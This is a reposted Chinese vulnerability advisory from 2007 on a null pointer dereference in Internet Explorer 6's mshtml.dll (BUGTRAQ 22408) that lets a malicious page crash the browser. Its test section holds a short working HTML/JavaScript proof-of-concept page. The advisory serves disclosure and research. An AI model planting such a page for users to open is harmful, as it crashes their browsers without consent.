[转贴]Microsoft IE mshtml.dll畸形HTML空指针引用漏洞
信息来源:绿盟科技Microsoft IE mshtml.dll畸形HTML空指针引用漏洞
发布日期：2007-02-06
更新日期：2007-02-07
受影响系统：
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 22408
Internet Explorer是微软发表的非常流行的WEB浏览器。
Internet Explorer的mshtml.dll库没有正确的处理畸形的HTML页面，远程攻击者可能利用此漏洞导致用户IE浏览器崩溃。
如果用户受骗打开了恶意页面的话，就可能出现空指针引用，导致浏览器崩溃。
<*来源：AmesianX （[email]amesianx@gmail.com[/email]）
链接：[url]http://www.milw0rm.com/exploits/3272[/url]
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<head>
<title> AmesianX, RC_No1 in powerhacker.net ([email]amesianx@gmail.com[/email], [email]RC_No1@gmail.com[/email])</title>
</head>
<body>
<script language='javascript'>
var data = document['getElementById'];
for(var key in data);
</script>
</body>
</html>
建议：
--------------------------------------------------------------------------------
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
[url]http://www.microsoft.com/windows/ie/default.asp[/url]
页:
[1]